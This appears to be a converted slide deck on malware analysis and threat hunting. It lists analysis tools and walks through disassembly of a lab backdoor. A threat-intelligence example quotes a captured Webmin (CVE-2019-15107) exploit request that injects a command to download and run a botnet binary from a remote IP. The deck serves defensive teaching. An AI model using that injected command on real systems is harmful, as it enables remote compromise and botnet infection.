

Malware Analysis

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METHODOLOGY FOR HANDLING SECURITY INCIDENTS, BREACHES, AND CYBER THREATS

- 1] Threat Hunting
- 2] Malware Analysis
- 3] Incident Response
- 4] Threat Intelligence

WHAT IS THREAT HUNTING?

- The process of proactively and iterative searching through networks to detect and isolate advanced threats that evade existing security solutions.
 - Analysis track
 - Intercept
 - Eliminate adversaries lurking in a network
 - Tools : SIEM, IDS, Firewall
- Video : <https://www.exabeam.com/product/exabeam-threat-hunter/>

THREAT HUNTER SKILLS

- **Data analytics and reporting skills** — these include pattern recognition, technical writing, data science, problem solving and research.
- **Operating systems and networks knowledge** — needs to know the ins and outs of the organizational systems and network.
- **Information security experience** — including malware reverse engineering, adversary tracking and endpoint security. A threat hunter needs to have a clear understanding of past and current tactics, techniques and procedures (TTPs) used by the attackers.
- **Programming language** — at least one scripting language and one compiled language is common, though modern tools are increasingly eliminating the need for using scripting language.

THREAT HUNTING REFERENCE

Name	Description
Attack&Ck	Website for Information related to Hunting Techniques.
The ThreatHunting Project	Website for Information to start Threat Hunting.
HUNTPEDIA	A very handfull book.

THREAT HUNTING TOOLS

Name	Version	Description
ELK	Free	A platform which help to create usecases for threat hunting and hypothesis.
Sysmon	Free	System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log.
Osquery	Free	Performant endpoint visibility, Suport all OS platform.

ELK

- Beats - <https://github.com/elastic/beats>
 - Docs : <https://github.com/elastic/beats#documentation-and-getting-started>
- ElasticSearch - <https://www.elastic.co/elasticsearch/>
- Logstash - <https://github.com/elastic/logstash>
- Kibana - <https://www.elastic.co/kibana/>

WHAT IS MALWARE ANALYSIS ?

- The process of understanding the behavior and purpose of a suspicious file or URL. The output of the analysis aids in the detection and mitigation of the potential threat
 - Malware investigation
 - Malware performance
 - The purpose of the malware
 - Malicious level of malware
 - Traffic analysis sent
 - How to connect to the server
 - Malware code structure
 - IOC with YARA/Snort
- Malware analysis is that it helps Incident Responders (IR) and security analysts (ALERT)

MALWARE ANALYSIS SKILLS

- Networking
- IOC (indicator Analysis) → YARA / Snort
- Static Analysis
- Dynamic Analysis
- Memory Forensics
- RE (Reverse Engineering)
- File Format
- OS Internal
- Coding / Script

WHAT IS INCIDENT RESPONSE ?

- Structured approach to handle various types of security incidents, cyber threats, and data breaches.
- The incident response methodology aims to identify, contain, and minimize the cost of a cyberattack or a live incident.
- Why Is Incident Response Important?
 - Data breaches cost companies operational downtime, reputational, and financial loss.
 - For most of the organizations, breaches lead to devaluation of stock value and loss of customer trust.
 - To eliminate such risks, companies need a well-planned cybersecurity incident response plan,
- <https://youtu.be/NIKIJodcxOk>

GRAPHITE – GRAFANA - DIAMOND

- <https://graphiteapp.org/>
Installing : <https://github.com/SecurityTalks/Malware-Analysis>
- <https://github.com/grafana/grafana>
- Or <https://github.com/prometheus/prometheus>
- <https://github.com/python-diamond/Diamond>

WHAT ARE THE COMMON TYPES OF INCIDENTS?



Phishing attacks

350% rise in phishing websites
at the start of 2020 – United
Nations



Denial-of-Service attacks

595% year-over-year increase
in DDoS attacks against
utilities worldwide –
NETSCOUT



Ransomware attacks

20% hike in ransomware
attacks within 6-months,
amounting to 121.4 million
events – SonicWall



SQL injections

8000% rise in SQL Injection
attacks in 2019, versus 2018 –
WatchGuard



Malware attacks

176% increase in new malware
attacks disguised as Microsoft
Office file types – SonicWall

WHAT IS THREAT INTELLIGENCE?

- Cyber threat information becomes once it has been collected, evaluated in the context of its source and reliability, and analyzed
- It requires that analysts identify similarities and differences in vast quantities of information and detect deceptions to produce accurate, timely, and relevant intelligence.

THREAT INTELLIGENCE RESOURCE

Source Name	Subscription	Status
dydns	Free	Online
emergingthreats for botcc	Free	Online
fedotracker	Free	Online
greensnow	Free	Online
h3xtracker	Free	Online
hphosts for malware	Free	Online
iblocklist	Free	Online
ibmxforce	Free	Online
intercept.sh	Free	Online
intercept.sh	Free	Online
malc0de	Free	Online
malware_traffic	Free	Online
malware.malwaremustdie.org	Free	Online
malware.malwaremustdie.org	Free	Online

BAD PACKETS CYBER THREAT INTELLIGENCE - EXAMPLE

```
1 {
2   "count": 1,
3   "next": null,
4   "previous": null,
5   "results": [
6     {
7       "source_ip_address": "185.181.8.67",
8       "country": "NL",
9       "user_agent": "Go-http-client/1.1",
10      "payload": "POST /password_change.cgi HTTP/1.1",
11      "post_data": "\"user=Cloudbot&pam=&expired=2&old=clouds|wget
http://147.135.124.113/bins/x86.cloudbot; chmod 777 x86.cloudbot;
./x86.cloudbot; &new1=clouds&new2=clouds\"",
12      "target_port": 10000,
13      "protocol": "tcp",
14      "tags": [
15        {
16          "cve": "CVE-2019-15107",
17          "category": "Platform",
18          "description": "Webmin RCE"
19        }
20      ],
21      "event_count": 1,
22      "first_seen": "2019-08-24T03:32:43Z",
23      "last_seen": "2019-08-24T03:32:43Z"
24    }
25  ]
26 }
```



STATIC MALWARE ANALYSIS

Name	Version	Platform
DIE	Free	Windows, Linux, Mac Os
PE Bear	Free	Windows
PortEx	Free	Windows
Manalyze	Free	Windows
PE Studio	Free	Windows
CFF Explorer	Free	Windows
PE Tools	Free	Windows
FileAlyzer	Free	Windows
PE Explorer	Free	Windows
PE Insider	Free	Windows
PE View	Free	Windows
Chimprec	Free	Windows
PEID	Free	Windows

PEview - C:\ProgramData\chocolatey\lib\pmlabs.flare\tools\Practical Malware Analysis Labs\BinaryCollection\Chapter_1\Lab01-01.dll

File View Go Help



Lab01-01.dll

- IMAGE_DOS_HEADER
- MS-DOS Stub Program
- IMAGE_NT_HEADERS
 - Signature
 - IMAGE FILE HEADER
 - IMAGE_OPTIONAL_HEADER
- IMAGE_SECTION_HEADER .text
- IMAGE_SECTION_HEADER .rdata
- IMAGE_SECTION_HEADER .data
- IMAGE_SECTION_HEADER .reloc
- SECTION .text
- SECTION .rdata
- SECTION .data
- SECTION .reloc

pFile	Data	Description	Value
000000E4	014C	Machine	IMAGE_FILE_MACHINE_I386
000000E6	0004	Number of Sections	
000000E8	4D0E2FE6	Time Date Stamp	2010/12/19 Sun 16:16:38 UTC
000000EC	00000000	Pointer to Symbol Table	
000000F0	00000000	Number of Symbols	
000000F4	00E0	Size of Optional Header	
000000F6	210E	Characteristics	
		0002	IMAGE_FILE_EXECUTABLE_IMAGE
		0004	IMAGE_FILE_LINE_NUMS_STRIPPED
		0008	IMAGE_FILE_LOCAL_SYMS_STRIPPED
		0100	IMAGE_FILE_32BIT_MACHINE
		2000	IMAGE_FILE_DLL

PEview - C:\ProgramData\chocolatey\lib\pmlabs.flare\tools\Practical Malware Analysis Labs\BinaryCollection\Chapter_1\Lab01-01.exe

File View Go Help



Lab01-01.exe

- IMAGE_DOS_HEADER
- MS-DOS Stub Program
- IMAGE_NT_HEADERS
 - Signature
 - IMAGE FILE HEADER
 - IMAGE_OPTIONAL_HEADER
- IMAGE_SECTION_HEADER .text
- IMAGE_SECTION_HEADER .rdata
- IMAGE_SECTION_HEADER .data
- SECTION .text
- SECTION .rdata
 - IMPORT Address Table
 - IMPORT Directory Table
 - IMPORT Name Table
 - IMPORT Hints/Names & DLL Names
- SECTION .data

pFile	Data	Description	Value
000000EC	014C	Machine	IMAGE_FILE_MACHINE_I386
000000EE	0003	Number of Sections	
000000F0	4D0E2FD3	Time Date Stamp	2010/12/19 Sun 16:16:19 UTC
000000F4	00000000	Pointer to Symbol Table	
000000F8	00000000	Number of Symbols	
000000FC	00E0	Size of Optional Header	
000000FE	010F	Characteristics	
		0001	IMAGE_FILE_RELOCS_STRIPPED
		0002	IMAGE_FILE_EXECUTABLE_IMAGE
		0004	IMAGE_FILE_LINE_NUMS_STRIPPED
		0008	IMAGE_FILE_LOCAL_SYMS_STRIPPED
		0100	IMAGE_FILE_32BIT_MACHINE

Dependency Walker - [Lab01-01.dll]

File Edit View Options Profile Window Help

LAB01-01.DLL

- KERNEL32.DLL
- WS2_32.DLL
- MSVCRT.DLL

PI	Ordinal ^	Hint	Function	Entry Point
0x0	3 (0x0003)	N/A	N/A	Not Bound
0x0	4 (0x0004)	N/A	N/A	Not Bound
0x0	9 (0x0009)	N/A	N/A	Not Bound
0x0	11 (0x000B)	N/A	N/A	Not Bound
0x0	16 (0x0010)	N/A	N/A	Not Bound
0x0	19 (0x0013)	N/A	N/A	Not Bound
0x0	22 (0x0016)	N/A	N/A	Not Bound
0x0	23 (0x0017)	N/A	N/A	Not Bound
0x0	115 (0x0073)	N/A	N/A	Not Bound
0x0	116 (0x0074)	N/A	N/A	Not Bound

E	Ordinal ^	Hint	Function	Entry Point
0x0	1 (0x0001)	160 (0x00A0)	accept	0x00016CE0
0x0	2 (0x0002)	161 (0x00A1)	bind	0x0000D840
0x0	3 (0x0003)	162 (0x00A2)	closesocket	0x00009D00
0x0	4 (0x0004)	163 (0x00A3)	connect	0x0000A8D0
0x0	5 (0x0005)	170 (0x00AA)	getpeername	0x00013AD0
0x0	6 (0x0006)	175 (0x00AF)	getsockname	0x0000E8D0
0x0	7 (0x0007)	176 (0x00B0)	getsockopt	0x0000AA50
0x0	8 (0x0008)	177 (0x00B1)	htonl	0x000136D0
0x0	9 (0x0009)	178 (0x00B2)	htons	0x000136E0
0x0	10 (0x000A)	183 (0x00B7)	ioctlsocket	0x00006D80
0x0	11 (0x000B)	179 (0x00B3)	inet_addr	0x00013BB0
0x0	12 (0x000C)	180 (0x00B4)	inet_ntoa	0x00013CE0
0x0	13 (0x000D)	184 (0x00B8)	listen	0x000142A0
0x0	14 (0x000E)	185 (0x00B9)	ntohl	0x000136D0
0x0	15 (0x000F)	186 (0x00BA)	ntohs	0x000136E0
0x0	16 (0x0010)	187 (0x00BB)	recv	0x00009520
0x0	17 (0x0011)	188 (0x00BC)	recvfrom	0x00009320
0x0	18 (0x0012)	189 (0x00BD)	select	0x000164F0
0x0	19 (0x0013)	190 (0x00BE)	send	0x0000B0C0
0x0	20 (0x0014)	191 (0x00BF)	sendto	0x0000E750
0x0	21 (0x0015)	192 (0x00C0)	setsockopt	0x0000A1C0
0x0	22 (0x0016)	193 (0x00C1)	shutdown	0x000035E0
0x0	23 (0x0017)	194 (0x00C2)	socket	0x00008D50
0x0	24 (0x0018)	94 (0x005E)	WSASetPostRoutine	0x00033780
0x0	25 (0x0019)	0 (0x0000)	FreeAddrInfoEx	0x000139A0
0x0	26 (0x001A)	1 (0x0001)	FreeAddrInfoExW	0x000139A0
0x0	27 (0x001B)	2 (0x0002)	FreeAddrInfoW	0x00013760
0x0	28 (0x001C)	3 (0x0003)	GetAddrInfoExA	0x00027220
0x0	29 (0x001D)	4 (0x0004)	GetAddrInfoExCancel	0x00001120
0x0	30 (0x001E)	5 (0x0005)	GetAddrInfoExOverlappedResult	0x00014760
0x0	31 (0x001F)	6 (0x0006)	GetAddrInfoExW	0x0000C690
0x0	32 (0x0020)	7 (0x0007)	GetAddrInfoW	0x0000BC90

REVERSE ENGINEERING

Name	Version	Paltform
IDA	Paid	Windows
Ghidra	Free	Windows, Linux, Mac Os
Cutter	Free	Windows
Radare	Free	Linux

DYNAMIC MALWARE ANALYSIS

```
.text:1000D02B      retn      8
.text:1000D02B      ServiceMain endp
.text:1000D02B
.text:1000D02E
.text:1000D02E      ; :::::::::::::: S U B R O U T I N E ::::::::::::::
.text:1000D02E
.text:1000D02E      ; BOOL stdcall DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPOVOID lpvReserved)
.text:1000D02E      _DllMain@12      proc near      ; CODE XREF: DllEntryPoint+4B1p
.text:1000D02E                                     ; DATA XREF: sub_100110FF+2D10
.text:1000D02E
.text:1000D02E      hinstDLL      = dword ptr 4
.text:1000D02E      fdwReason      = dword ptr 8
.text:1000D02E      lpvReserved    = dword ptr 0Ch
.text:1000D02E
.text:1000D02E      mov     eax, [esp+fdwReason]
.text:1000D032      dec     eax
.text:1000D033      jnz     loc_1000D107
.text:1000D039      mov     eax, [esp+hinstDLL]
.text:1000D03D      push    ebx
.text:1000D03E      mov     ds:hModule, eax
.text:1000D043      mov     eax, off_10019044
.text:1000D048      push    esi
.text:1000D049      add     eax, 0Dh
.text:1000D04C      push    edi
.text:1000D04D      push    eax      ; char *
.text:1000D04E      call    strlen
.text:1000D053      mov     ebx, ds:CreateThread
.text:1000D059      mov     esi, ds:_strnicmp
.text:1000D05F      xor     edi, edi
.text:1000D061      pop     ecx
.text:1000D062      test    eax, eax
.text:1000D064      jz      short loc_1000D089
.text:1000D066      mov     eax, off_10019044
.text:1000D06B      push    7      ; size_t
.text:1000D06D      add     eax, 0Dh
.text:1000D070      push    offset aHttp      ; "http:///"
.text:1000D075      push    eax      ; char *
```

0000C42E 1000D02E: DllMain(x,x,x)

Functions window

Function name	Segment	Start
BlockInput	.text	100111E2
CreateToolhelp32Snapshot	.text	100111C4
DllEntryPoint	.text	1001516D
DllMain(x,x,x)	.text	1000D02E
EnumProcessModules	.text	100111AC
GetAdaptersInfo	.text	100111B2
GetModuleFileNameExA	.text	100111A6
HandlerProc	.text	1000C9DF
ICClose	.text	100113D6
ICCompress	.text	100113D0
ICImageCompress	.text	100113CA
ICOpen	.text	100113E2
ICSendMessage	.text	100113DC
InstallRT	.text	1000D847
InstallSA	.text	1000DEC1
InstallSB	.text	1000E892
Module32First	.text	100111D0
Module32Next	.text	100111CA

Line 4 of 346


```

.idata:100163C4 ; int __stdcall select(int nFds,Fd_set *re
.idata:100163C4         extrn select:dword
.idata:100163C8 ; unsigned __int32 __stdcall inet_addr(con
.idata:100163C8         extrn inet_addr:dword
.idata:100163CC ; struct hostent * __stdcall gethostbyname(
.idata:100163CC         extrn gethostbyname:dword
.idata:100163D0 ; char * __stdcall inet_ntoa(struct in_addr
.idata:100163D0         extrn inet_ntoa:dword
.idata:100163D0
.idata:100163D4 ; int __stdcall recv(SOCKET s,char *buf,in
.idata:100163D4         extrn recv:dword
.idata:100163D4
.idata:100163D8 ; int __stdcall send(SOCKET s,const char *
.idata:100163D8         extrn send:dword
.idata:100163D8
.idata:100163DC ; int __stdcall connect(SOCKET s,const str
.idata:100163DC         extrn connect:dword
.idata:100163DC
.idata:100163E0 ; u_short __stdcall ntohs(u_short netshort
.idata:100163E0         extrn ntohs:dword
.idata:100163E0
.idata:100163E4 ; u_short __stdcall htons(u_short hostshor
.idata:100163E4         extrn htons:dword
.idata:100163E4
.idata:100163E8 ; int __stdcall setsockopt(SOCKET s,int le
.idata:100163E8         extrn setsockopt:dword
.idata:100163E8
.idata:100163EC ; int WSACleanup(void)
.idata:100163EC         extrn WSACleanup:dword
.idata:100163EC
.idata:100163F0 ; int __stdcall WSAStartup(WORD wVersionRe
.idata:100163F0         extrn WSAStartup:dword
.idata:100163F0
.idata:100163F4 ; int __stdcall closesocket(SOCKET s)
.idata:100163F4         extrn closesocket:dword
.idata:100163F4
.idata:100163F8 ; SOCKET __stdcall socket(int af,int type,
.idata:100163F8         extrn socket:dword
.idata:100163F8

```

Imports		
Edit Search		
Address	Ordinal	Name
100162BC		_stricmp
100162C4		_strlwr
100162C0		_strnicmp
10016288		_strev
100162E8		_strtime
10016258		_strupr
100162E0		_vsprintf
10016268		abs
100162B4		atoi
100163F4	3	closesocket
100163DC	4	connect
100162A4		fclose
10016274		fopen
100162E4		fprintf
10016234		fread
100162DC		free
100162D8		fseek
10016278		ftell
100162A0		fwrite
100163CC	52	gethostbyname
100163E4	9	htonl
100163C8	11	inet_addr
100163D0	12	inet_ntoa
1001624C		isdigit
1001638C		keybd_event
10016264		malloc
100162AC		memcmp
100162C8		memcpy
100162D4		memset
10016388		mouse_event
100163F0	15	ntohl


Line 214 of 253

```

.text:10001656 ; DllMain(x,x,x)+C8↓o
.text:10001656
.text:10001656 ; DWORD __stdcall sub_10001656(LPVOID)
.text:10001656 sub_10001656 proc near
.text:10001656
.text:10001656 var_675 = byte ptr -675h
.text:10001656 var_674 = dword ptr -674h
.text:10001656 hModule = dword ptr -670h
.text:10001656 timeout = timeval ptr -66Ch
.text:10001656 name = sockaddr ptr -664h
.text:10001656 var_654 = word ptr -654h
.text:10001656 in = in_addr ptr -650h
.text:10001656 Parameter = byte ptr -644h
.text:10001656 CommandLine = byte ptr -63Fh
.text:10001656 Data = byte ptr -638h
.text:10001656 var_544 = dword ptr -544h
.text:10001656 var_50C = dword ptr -50Ch
.text:10001656 var_500 = dword ptr -500h
.text:10001656 var_4FC = dword ptr -4FCh
.text:10001656 readfds = fd_set ptr -4BCh
.text:10001656 phkResult = HKEY__ ptr -3B8h
.text:10001656 var_3B0 = dword ptr -3B0h
.text:10001656 var_1A4 = dword ptr -1A4h
.text:10001656 var_194 = dword ptr -194h
.text:10001656 WSADATA = WSADATA ptr -190h
.text:10001656 arg_0 = dword ptr 4
.text:10001656
.text:10001656 sub esp, 678h

```


CODE EXECUTE?



CODE EXECUTE COMMAND!

```
text:100102B9  
text:100102BF  
text:100102C1  
text:100102C7  
text:100102CC  
text:100102CD  
text:100102D2  
text:100102D5  
text:100102D7  
text:100102DD  
text:100102DF  
text:100102E5  
text:100102EA  
text:100102EB  
text:100102F0  
text:100102F3  
text:100102F5  
text:100102FB  
text:100102FC  
text:10010302  
text:10010307  
text:10010308  
text:1001030D  
text:10010310  
text:10010312  
text:10010314  
text:1001031A  
text:1001031A loc_1001031A:  
text:1001031A  
text:1001031B  
text:10010321  
text:10010327  
text:10010328  
text:1001032D  
text:10010333  
text:10010339  
text:1001033E  
text:1001033F  
  
jz loc_10010714  
push 4 ; size_t  
lea eax, [ebp+var_5C0]  
push offset aQuit ; "quit"  
push eax ; void *  
call memcmp  
add esp, 0Ch  
test eax, eax  
jz loc_10010714  
push 4 ; size_t  
lea eax, [ebp+var_5C0]  
push offset aExit ; "exit"  
push eax ; void *  
call memcmp  
add esp, 0Ch  
test eax, eax  
jz loc_10010714  
push edi ; size_t  
lea eax, [ebp+var_5C0]  
push offset aCd ; "cd"  
push eax ; void *  
call memcmp  
add esp, 0Ch  
test eax, eax  
jnz short loc_10010357  
lea eax, [ebp-50Dh]  
  
; CODE XREF: sub_1000FF58+1  
push eax ; lpPathName  
call ds:SetCurrentDirectoryA  
lea eax, [ebp+Buffer]  
push eax ; lpBuffer  
push 104h ; nBufferLength  
call ds:GetCurrentDirectoryA  
lea eax, [ebp+Buffer]  
push offset asc_10095C5C ; ">"  
push eax ; char *  
call strcat
```


SYSTEM CHECK

```
1 ; -----
2 ;
3 ;
4 loc_100103D4:                                ; CODE XREF: sub_1000FF58+439↑j
5         push    4                            ; size_t
6         lea     eax, [ebp+var_5C0]
7         push    offset aIdle                ; "idle"
8         push    eax                          ; void *
9         call    memcmp
10        add     esp, 0Ch
11        test    eax, eax
12        jnz     short loc_100103FC
13        push    [ebp+s]                    ; s
14        call    sub_10004CFF
15
16 loc_100103F6:                                ; CODE XREF: sub_1000FF58+4C6↓j
17                                                ; sub_1000FF58+4EA↓j ...
18        pop     ecx
19        jmp     loc_100106D3
20 ; -----
21 ;
22 ;
23 loc_100103FC:                                ; CODE XREF: sub_1000FF58+494↑j
24        push    6                            ; size_t
25        lea     eax, [ebp+var_5C0]
26        push    offset aUptime              ; "uptime"
27        push    eax                          ; void *
28        call    memcmp
29        add     esp, 0Ch
30        test    eax, eax
31        jnz     short loc_10010420
32        push    [ebp+s]                    ; s
33        call    sub_10004DCA
34        jmp     short loc_100103F6
35 ; -----
36 ;
```

PERSISTENCE!

```
.text:100052A2 ; int __cdecl sub_100052A2(SOCKET s)
.text:100052A2 sub_100052A2 proc near ; CODE XREF: sub_1000FF58+509↓p
.text:100052A2
.text:100052A2 var_60C = dword ptr -60Ch
.text:100052A2 Data = byte ptr -20Ch
.text:100052A2 cbData = dword ptr -0Ch
.text:100052A2 Type = dword ptr -8
.text:100052A2 hKey = dword ptr -4
.text:100052A2 s = dword ptr 8
.text:100052A2
.text:100052A2 push ebp
.text:100052A3 mov ebp, esp
.text:100052A5 sub esp, 60Ch
.text:100052AB and byte ptr [ebp+var_60C], 0
.text:100052B2 push edi
.text:100052B3 mov ecx, 0FFh
.text:100052B8 xor eax, eax
.text:100052BA lea edi, [ebp+var_60C+1]
.text:100052C0 and [ebp+Data], 0
.text:100052C7 rep stosd
.text:100052C9 stosw
.text:100052CB stosb
.text:100052CC push 7Fh
.text:100052CE xor eax, eax
.text:100052D0 pop ecx
.text:100052D1 lea edi, [ebp-200h]
.text:100052D7 rep stosd
.text:100052D9 stosw
.text:100052DB stosb
.text:100052DC lea eax, [ebp+hKey]
.text:100052DF push eax ; phkResult
.text:100052E0 push 0F003Fh ; samDesired
.text:100052E5 push 0 ; uOptions
.text:100052E7 push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\...
.text:100052EC push 80000002h ; hKey
.text:100052F1 call ds:RegOpenKeyExA ; char aSoftwareMicros[]
.text:100052F7 test eax, eax aSoftwareMicros db 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion',0
.text:100052F9 jz short loc_10005309 ; DATA XREF: sub_10003EBC+40fo
.text:100052FB push [ebp+hKey] ; hKey ; sub_10003EBC+D3fo ...
.text:100052FE call ds:RegCloseKey
.text:10005304 jmp loc_100053F6
.text:10005300
```

OS NAME!



ANTI DEBUGGING!

```
.text:1000DED5      pop     ecx
.text:1000DED6      jz      short loc_1000DF08
.text:1000DED8      call   loc_10006119
.text:1000EDD      test    al, al
.text:1000EDF      jnz     short loc_1000DEEA
.text:1000DEE1      call   sub_10006196
.text:1000DEE6      test    al, al
.text:1000DEE8      jz      short loc_1000DF08
.text:1000DEEA      loc_1000DEEA:
.text:1000DEEA      ; CODE XREF: InstallSA+1E1j
.text:1000DEEA      push    offset unk_1008E5F0 ; char *
.text:1000DEEF      call   sub_10003592
.text:1000DEF4      mov     [esp+8+var_8], offset aFoundVirtualMa ; "Found Virtual Machine,Install Cancel."
.text:1000DEFB      call   sub_10003592
.text:1000DF00      pop     ecx
.text:1000DF01      call   sub_10005567
.text:1000DF06      jmp     short loc_1000DF1E
.text:1000DF08      ; -----
```


ENCODING?

The screenshot displays a debugger's memory dump on the left and a deobfuscation tool interface on the right. The memory dump lists addresses from 1001D984 to 1001D9DA, with values in hexadecimal and ASCII. Several values are highlighted with red boxes: 'a1UUU7461Yu2u10' at 1001D988, 'a46649u' at 1001D9B5, 'a4940u' at 1001D9BE, 'a49U' at 1001D9C6, and 'a47uo' at 1001D9CF. The deobfuscation tool interface includes a 'Recipe' section with 'XOR' selected, a 'Key' of '0x55', and a 'Scheme' of 'Standard'. The 'Input' field contains a long, obfuscated string, and the 'Output' field shows the decoded string: 'xdoor is this backdoor, string decoded for ractical alware nalysis ab :)1234'.

```
.data:1001D984 db 0
.data:1001D985 db 0
.data:1001D986 db 0
.data:1001D987 db 0
.data:1001D988 a1UUU7461Yu2u10 db '-1::',27h,'u<&u!=<&u746>1::',27h,'yu&!',27h,'<;2u106:101u3:',27h,'u'
.data:1001D98B db 5
.data:1001D984 db 27h ; '
.data:1001D9B5 a46649u db '46!<649u'
.data:1001D9BD db 18h
.data:1001D9BE a4940u db '49"4',27h,'0u'
.data:1001D9C5
.data:1001D9C6 a49U
.data:1001D9CE a47uo
.data:1001D9CF
.data:1001D9D9
.data:1001D9DA
```

Recipe

XOR

Key
0x55

Scheme
Standard

☐ Null preserving

Input

-1::'u<&u!=<&u746>1::'yu&!'<;2u106:101u3:'u'46!<649u49"4'0u;49,&&u47uo|dgfa

Output

xdoor is this backdoor, string decoded for ractical alware nalysis ab :)1234

DeObfuscation ALFA SHELL V3 : https://github.com/raminfo/DeObfuscation_ALFA_SHELL_V3

WIN API

```
sub_40105F      proc near                ; CODE XREF: sub_401000+1C↑p
                                           ; sub_401000+30↑p
arg_0           = dword ptr  0Ch
arg_4           = dword ptr  10h

    push     ebx
    push     esi
    mov     esi, offset unk_407098
    push     edi
    push     esi
    call     stbuf
    mov     edi, eax
    lea     eax, [esp+8+arg_4]
    push     eax
    push     [esp+0Ch+arg_0] ; int
    push     esi             ; FILE *
    call     sub_401282
    push     esi
    push     edi
    mov     ebx, eax
    call     ftbuf
    add     esp, 18h
    mov     eax, ebx
    pop     edi
    pop     esi
    pop     ebx
    retn
sub_40105F      endp
```

```
/*
 * Pointer to the array of pointers to FILE/_FILEX structures that are used
 * to manage stdio-level files.
 */
extern void **__piob;

FILE * __cdecl _getstream(void);
FILE * __cdecl _openfile(__in_z const char * _Filename, __in_z const char * _Mode);
FILE * __cdecl _wopenfile(__in_z const char16_t * _Filename, __in_z const char16_t * _Mode);
void __cdecl _getbuf(__out FILE * _File);
int __cdecl _filwbuf (__inout FILE * _File);
int __cdecl _flswbuf(__in int _Ch, __inout FILE * _File);
void __cdecl _freebuf(__inout FILE * _File);
int __cdecl _stbuf(__inout FILE * _File);
void __cdecl _ftbuf(int _Flag, __inout FILE * _File);
```

CHECK UP INTERNET

```
sub_401000    proc near                                ; CODE XREF: _main+4↓p
var_4        = dword ptr -4

    push     ebp
    mov     ebp, esp
    push     ecx
    push     0                                         ; dwReserved
    push     0                                         ; lpdwFlags
    call    ds:InternetGetConnectedState
    mov     [ebp+var_4], eax
    cmp     [ebp+var_4], 0
    jz      short loc_40102B
    push     offset aSuccessInterne ; "Success: Internet Connection\n"
    call    sub_40105F
    add     esp, 4
    mov     eax, 1
    jmp     short loc_40103A

-----
loc_40102B:                                         ; CODE XREF: sub_401000+15↑j
    push     offset aError1_1NoInte ; "Error 1.1: No Internet\n"
    call    sub_40105F
    add     esp, 4
    xor     eax, eax

loc_40103A:                                         ; CODE XREF: sub_401000+29↑j
    mov     esp, ebp
    pop     ebp
    retn
sub_401000    endp
```


YOUTUBE CHANNEL FOR MALWARE ANALYSIS

YouTube Channel Name

[OALabs](#)

[Kindred Security](#)

[Colin Hardy](#)

[MalwareAnalysisForHedgehogs](#)

[Michael Gillespie](#)

[ReverselT](#)

[LiveOverflow](#)

[hasherezade](#)

[John Hammond](#)

[MalwareTech](#)

[RSA Conferenc](#)

[Monnappa K A](#)

DOCUMENT ANALYSIS – PDF / WORD / EXCEL

Name	Version	Platform
Ole Tool	Free	Python
Didier's PDF Tools	Free	Python
Origami	Free	Ruby
REMnux	Free	Virtual Machine
PDF	Free	Binary
ViperMonkey	Free	Python

MALWARE REPORT TECHNICAL

- Summery
 - If (Init Access)
 - Category (Ransome, Rootkit, Bootkit)
- File Metadata Information
 - Filename
 - MD5 Hash
 - File Type
 - File Size
 - SHA256
 - PE Information / File less
- Static Analysis
 - Domain / IP
 - Obfuscation and Encryption
 - Anti Reverse / Anti Sandbox
- Dynamic Analysis
 - Execution
 - Connection to C&C
 - Logs
 - Traffic
 - YARA rule

Reports :

<https://isc.sans.edu/diary/26750>

<https://isc.sans.edu/diary/26744>

<https://us-cert.cisa.gov/ncas/alerts/aa20-302a>

WEAKNESSES CERT.IR / AFTA

- Very bad style report
- Ant activity in social media network
- Ant activity in github
- There isn't content for cyber security
- Copy & Paste news

SOLUTION

- Activity in twitter
- Activity in Github repo Open Source (YARA)
- “Infrastructure Bug Bounty” (IBB)
- Own Researching (Cafebazaar / p30download / soft98)
- Publish on tools in Malware Analysis

HOW TO WORK WITH OTHER RESEARCHER? EXAMPLE

Ramin Farajpour Cami
@MF4rr3ll

I not sure, Why different response of server TCP stream and HTTP stream?

@James_inthe_box @Ledtech3

```

data=testHTTP/1.1 200 OK
Server: nginx admin
Date: Sun, 29 Apr 2018 15:39:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.29
Upgrade: h2,h2c
Set-Cookie: _mcnc=1; Max-Age=2; Path=/
X-Microcacheable: 0
    
```

```

data=testHTTP/1.1 200 OK
Server: nginx admin
Date: Sun, 29 Apr 2018 15:39:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.29
Upgrade: h2,h2c
Set-Cookie: _mcnc=1; Max-Age=2; Path=/
X-Microcacheable: 0
    
```

```

{"name": "JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "age": 30, "city": "New York"}
    
```

```


{"name": "JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "age": 30, "city": "New York"}
    
```

```

File Edit View Search Terminal Help
>>> ss = '{"name": "JohnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "age": 30, "city": "New York"}'
>>> len(ss)
137
>>>
>>> int(0x69)
137
>>>
    
```

```

Split from
ation (580 bytes) + Show and save data as ASCII +
Find Next
Enter Out This Stream Print Save as... Back Close
    
```



David Ledbetter @Ledtech3 · Apr 29, 2018


Replied to @MF4rr3ll and @James_inthe_box

is the 0x89 the length ?

1

1

1




Ramin Farajpour Cami @MF4rr3ll · Apr 29, 2018

Yeah, I don't know why response data length is here,

1

1

1



James @James_inthe_box · Apr 29, 2018


Replied to @MF4rr3ll and @Ledtech3

Got a pcap you can share? Also try looking at the HEX for both of these.

3

2

1



Ramin Farajpour Cami @MF4rr3ll · Apr 29, 2018

Yeah, wait ...

1

1

1

SHOULD FOLLOWING IN TWITTER

- <https://twitter.com/executemalware>
- https://twitter.com/malware_traffic
- <https://twitter.com/JRoosen>
- https://twitter.com/HONKONE_K
- <https://twitter.com/3xp0rtblog>
- https://twitter.com/mal_share
- <https://twitter.com/RedDrip7>
- https://twitter.com/Arkbird_SOLG
- <https://twitter.com/MalwarePatrol>
- <https://twitter.com/DidierStevens>
- <https://twitter.com/CyberIOCs>
- <https://twitter.com/DissectMalware>
- <https://twitter.com/MITREattack>
- <https://twitter.com/Ledtech3>
- https://twitter.com/VK_Intel



THE END

- Question?
- 